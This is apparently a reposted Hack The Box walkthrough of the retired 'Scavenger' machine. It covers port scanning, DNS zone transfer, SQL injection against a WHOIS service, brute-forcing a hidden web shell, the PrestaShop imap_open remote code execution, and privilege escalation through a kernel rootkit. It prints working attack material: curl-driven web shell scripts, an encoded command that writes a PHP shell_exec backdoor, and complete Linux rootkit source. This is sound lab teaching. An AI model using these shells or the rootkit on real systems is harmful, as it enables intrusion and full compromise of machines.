内容简介:This post documents the complete walkthrough of Scavenger, a retired vulnerableScavenger is a retired vulnerable VM from Hack The Box.Let’s start with a
This post documents the complete walkthrough of Scavenger, a retired vulnerable VM created by ompamo , and hosted at Hack The Box . If you are uncomfortable with spoilers, please stop reading now.
On this post
Background
Scavenger is a retired vulnerable VM from Hack The Box.
Information Gathering
Let’s start with a masscan
probe to establish the open ports in the host.
# masscan -e tun0 -p1-65535 10.10.10.155 --rate=500 Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2019-08-20 06:53:31 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [65535 ports/host] Discovered open port 53/tcp on 10.10.10.155 Discovered open port 25/tcp on 10.10.10.155 Discovered open port 80/tcp on 10.10.10.155 Discovered open port 22/tcp on 10.10.10.155 Discovered open port 43/tcp on 10.10.10.155 Discovered open port 21/tcp on 10.10.10.155
Hmm, interesting list of open ports. Let's do one better with nmap
scanning the discovered ports to establish their services.
# nmap -n -v -Pn -p21,22,43,53,80 -A --reason -oN nmap.txt 10.10.10.155 ... PORT STATE SERVICE REASON VERSION 21/tcp open ftp syn-ack ttl 63 vsftpd 3.0.3 22/tcp open ssh syn-ack ttl 63 OpenSSH 7.4p1 Debian 10+deb9u4 (protocol 2.0) | ssh-hostkey: | 2048 df:94:47:03:09:ed:8c:f7:b6:91:c5:08:b5:20:e5:bc (RSA) | 256 e3:05:c1:c5:d1:9c:3f:91:0f:c0:35:4b:44:7f:21:9e (ECDSA) |_ 256 45:92:c0:a1:d9:5d:20:d6:eb:49:db:12:a5:70:b7:31 (ED25519) 43/tcp open whois? syn-ack ttl 63 | fingerprint-strings: | GenericLines, GetRequest, HTTPOptions, Help, RTSPRequest: | % SUPERSECHOSTING WHOIS server <a href="/cdn-cgi/l/email-protection" data-cfemail="d6a0e6f8e0b4b3a2b7969bb7a4bfb79294e7e6f8e7f8e5e1">[email protected]</a> | more information on SUPERSECHOSTING, visit http://www.supersechosting.htb | This query returned 0 object | SSLSessionReq, TLSSessionReq, TerminalServerCookie: | % SUPERSECHOSTING WHOIS server <a href="/cdn-cgi/l/email-protection" data-cfemail="ddabedf3ebbfb8a9bc9d90bcafb4bc999fecedf3ecf3eeea">[email protected]</a> | more information on SUPERSECHOSTING, visit http://www.supersechosting.htb |_ 1267 (HY000): Illegal mix of collations (utf8mb4_general_ci,IMPLICIT) and (utf8_general_ci,COERCIBLE) for operation 'like' 53/tcp open domain syn-ack ttl 63 ISC BIND 9.10.3-P4 (Debian Linux) | dns-nsid: |_ bind.version: 9.10.3-P4-Debian 80/tcp open http syn-ack ttl 63 Apache httpd 2.4.25 ((Debian)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Site doesn't have a title (text/html).
Time to explore all these information like a scavenger would.
Zone Transfer
From the nmap
results, we see supersechosting.htb
popping out. Maybe we can do a zone transfer on this guy?
# host -l supersechosting.htb 10.10.10.155 Using domain server: Name: 10.10.10.155 Address: 10.10.10.155#53 Aliases: supersechosting.htb name server ns1.supersechosting.htb. supersechosting.htb has address 10.10.10.155 ftp.supersechosting.htb has address 10.10.10.155 mail1.supersechosting.htb has address 10.10.10.155 ns1.supersechosting.htb has address 10.10.10.155 whois.supersechosting.htb has address 10.10.10.155 www.supersechosting.htb has address 10.10.10.155
Sweet. So far so good. All the subdomains corroborates with the open ports. We’d better put them into /etc/hosts
.
WHOIS
Next up, we have WHOIS. Check out this little gem.
Sure looks authentic. But, did you see the first line?
% SUPERSECHOSTING WHOIS server <a href="/cdn-cgi/l/email-protection" data-cfemail="e791d7c9d185829386a7aa86958e86a3a5d6d7c9d6c9d4d0">[email protected]</a>
What is MariaDB doing there? If I had to guess, I would say that’s an invitation to probe for SQL injection.
# echo "supersechosting.htb'" | nc 10.10.10.155 43 % SUPERSECHOSTING WHOIS server <a href="/cdn-cgi/l/email-protection" data-cfemail="fb8dcbd5cd999e8f9abbb69a89929abfb9cacbd5cad5c8cc">[email protected]</a> % for more information on SUPERSECHOSTING, visit http://www.supersechosting.htb 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''supersechosting.htb'') limit 1' at line 1
Oh yeah. Armed with this knowledge, I wrote a funnel of sorts in PHP and host it with Apache.
<?php $sock = fsockopen("10.10.10.155", 43, $errno, $errstr, 30); if (!$sock) { echo "$errstr ($errno)\n"; } else { $domain = $_GET['d']; $domain .= "\r\n"; fwrite($sock, $domain); while (!feof($sock)) { echo fgets($sock); } fclose($sock); } ?>
Long story short, using sqlmap
against http://localhost/index.php?d=supersechosting.htb
yields the following.
SELECT domain from customers; [4]: [*] justanotherblog.htb [*] pwnhats.htb [*] rentahacker.htb [*] supersechosting.htb
Let's do a zone transfer on all of them and add them to /etc/hosts
.
MantisBT Owned!
While I was exploring the rentahacker.htb
domain, I chanced upon an interesting comment in the blog.
Moving on to the bug tracker subdomain sec03.rentahacker.htb
, I see this.
That got me thinking, “maybe the hacker left a backdoor?”.
# wfuzz -w /usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt -t 20 --hc 404 http://sec03.rentahacker.htb/FUZZ ******************************************************** * Wfuzz 2.2.11 - The Web Fuzzer * ******************************************************** Target: http://sec03.rentahacker.htb/FUZZ Total requests: 81 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000043: C=200 0 L 0 W 0 Ch "shell.php" Total time: 4.063213 Processed Requests: 81 Filtered Requests: 80 Requests/sec.: 19.93495
Indeed, but there's no output. Perhaps we need to brute force the parameter?
# wfuzz -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -t 20 --hh 0 http://sec03.rentahacker.htb/shell.php?FUZZ=id ******************************************************** * Wfuzz 2.2.11 - The Web Fuzzer * ******************************************************** Target: http://sec03.rentahacker.htb/shell.php?FUZZ=id Total requests: 2588 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000197: C=200 1 L 3 W 61 Ch "hidden" Total time: 30.90042 Processed Requests: 2588 Filtered Requests: 2587 Requests/sec.: 83.75290
Bam. There we go.
I wrote a very simple bash script to display the output in terminal instead.
ib01c03.sh
#!/bin/bash HOST=sec03.rentahacker.htb CMD=$(urlencode [email protected]) curl -s \ "http://$HOST/shell.php?hidden=$CMD"
Hack the World!
During enumeration of ib01c03
's account, I saw an email responding to rentahacker.htb
email about their site being defaced.
In the email, supersechosting.htb
talked about working on another incident and guess what, FTP credentials to log into their FTP server.
Armed with this credential, I was able to retrieve important information about the incident happening over at pwnhats.htb (or ib01c01
).
Among the information gathered by supersechosting.htb
was a network packet capture. And in it lies the credentials to access PrestaShop's back office secret URL.
Here’s the secret back office URL.
While I was exploring the back office, I noticed something strange going on at the customer service options page, particularly with the IMAP settings. A little googling brought me to this blog post
. It was explaining how a vulnerability in imap_open()
can be abused to gain remote code execution, and the real-life example given was PrestaShop 1.7.4.4!
Long story short, the vulnerability arises because rsh
is symbolic-linked to ssh
. And the IMAP URL is passed to ssh
in its entirety. That’s why you see -oProxyCommand
above.
Let's do something similar like what happened to ib01c03
—we echo
a shell.php
to the base directory.
# echo 'echo "<?php echo shell_exec(\$_GET[0]); ?>" > ../shell.php' | base64 -w0 && echo ZWNobyAiPD9waHAgZWNobyBzaGVsbF9leGVjKFwkX0dFVFswXSk7ID8+IiA+IC4uL3NoZWxsLnBocAo=
Simply replace the original base64
-string with our own. Once that’s done, we’ll re-purpose the previous bash
script for ib01c01
.
ib01c01.sh
#!/bin/bash HOST=www.pwnhats.htb CMD=$(urlencode [email protected]) curl -s \ "http://$HOST/shell.php?0=$CMD"
The file user.txt
is in ib01c01
's home directory.
Privilege Escalation
There was something else in the network packet capture that caught my attention.
root.c
#include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/device.h> #include <linux/fs.h> #include <asm/uaccess.h> #include <linux/slab.h> #include <linux/syscalls.h> #include <linux/types.h> #include <linux/cdev.h> #include <linux/cred.h> #include <linux/version.h> #define DEVICE_NAME "ttyR0" #define CLASS_NAME "ttyR" #if LINUX_VERSION_CODE > KERNEL_VERSION(3,4,0) #define V(x) x.val #else #define V(x) x #endif // Prototypes static int __init root_init(void); static void __exit root_exit(void); static int root_open (struct inode *inode, struct file *f); static ssize_t root_read (struct file *f, char *buf, size_t len, loff_t *off); static ssize_t root_write (struct file *f, const char __user *buf, size_t len, loff_t *off); // Module info MODULE_LICENSE("GPL"); MODULE_AUTHOR("pico"); MODULE_DESCRIPTION("Got r00t!."); MODULE_VERSION("0.1"); static int majorNumber; static struct class* rootcharClass = NULL; static struct device* rootcharDevice = NULL; static struct file_operations fops = { .owner = THIS_MODULE, .open = root_open, .read = root_read, .write = root_write, }; static int root_open (struct inode *inode, struct file *f) { return 0; } static ssize_t root_read (struct file *f, char *buf, size_t len, loff_t *off) { return len; } static ssize_t root_write (struct file *f, const char __user *buf, size_t len, loff_t *off) { char *data; char magic[] = "g0tR0ot"; struct cred *new_cred; data = (char *) kmalloc (len + 1, GFP_KERNEL); if (data) { copy_from_user (data, buf, len); if (memcmp(data, magic, 7) == 0) { if ((new_cred = prepare_creds ()) == NULL) { return 0; } V(new_cred->uid) = V(new_cred->gid) = 0; V(new_cred->euid) = V(new_cred->egid) = 0; V(new_cred->suid) = V(new_cred->sgid) = 0; V(new_cred->fsuid) = V(new_cred->fsgid) = 0; commit_creds (new_cred); } kfree(data); } return len; } static int __init root_init(void) { // Create char device if ((majorNumber = register_chrdev(0, DEVICE_NAME, &fops)) < 0) { return majorNumber; } // Register the device class rootcharClass = class_create(THIS_MODULE, CLASS_NAME); if (IS_ERR(rootcharClass)) { unregister_chrdev(majorNumber, DEVICE_NAME); return PTR_ERR(rootcharClass); } // Register the device driver rootcharDevice = device_create(rootcharClass, NULL, MKDEV(majorNumber, 0), NULL, DEVICE_NAME); if (IS_ERR(rootcharDevice)) { class_destroy(rootcharClass); unregister_chrdev(majorNumber, DEVICE_NAME); return PTR_ERR(rootcharDevice); } return 0; } static void __exit root_exit(void) { // Destroy the device device_destroy(rootcharClass, MKDEV(majorNumber, 0)); class_unregister(rootcharClass); class_destroy(rootcharClass); unregister_chrdev(majorNumber, DEVICE_NAME); } module_init(root_init); module_exit(root_exit);
The rootkit code is taken from here .
We can see that the LKM is loaded.
And the character device /dev/ttyR0
has 666
permissions.
The magic
password g0tR0ot
didn’t work for me though.
Maybe there's another magic
password? I copied the loaded KVM to my machine and ran it through r2
.
# ./ib01c01.sh "base64 ../.../root.ko" > root.ko.b64
Looks like g3tPr1v
could be the magic
password. Let's give it a shot.
With that, getting root.txt
is a breeze.
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。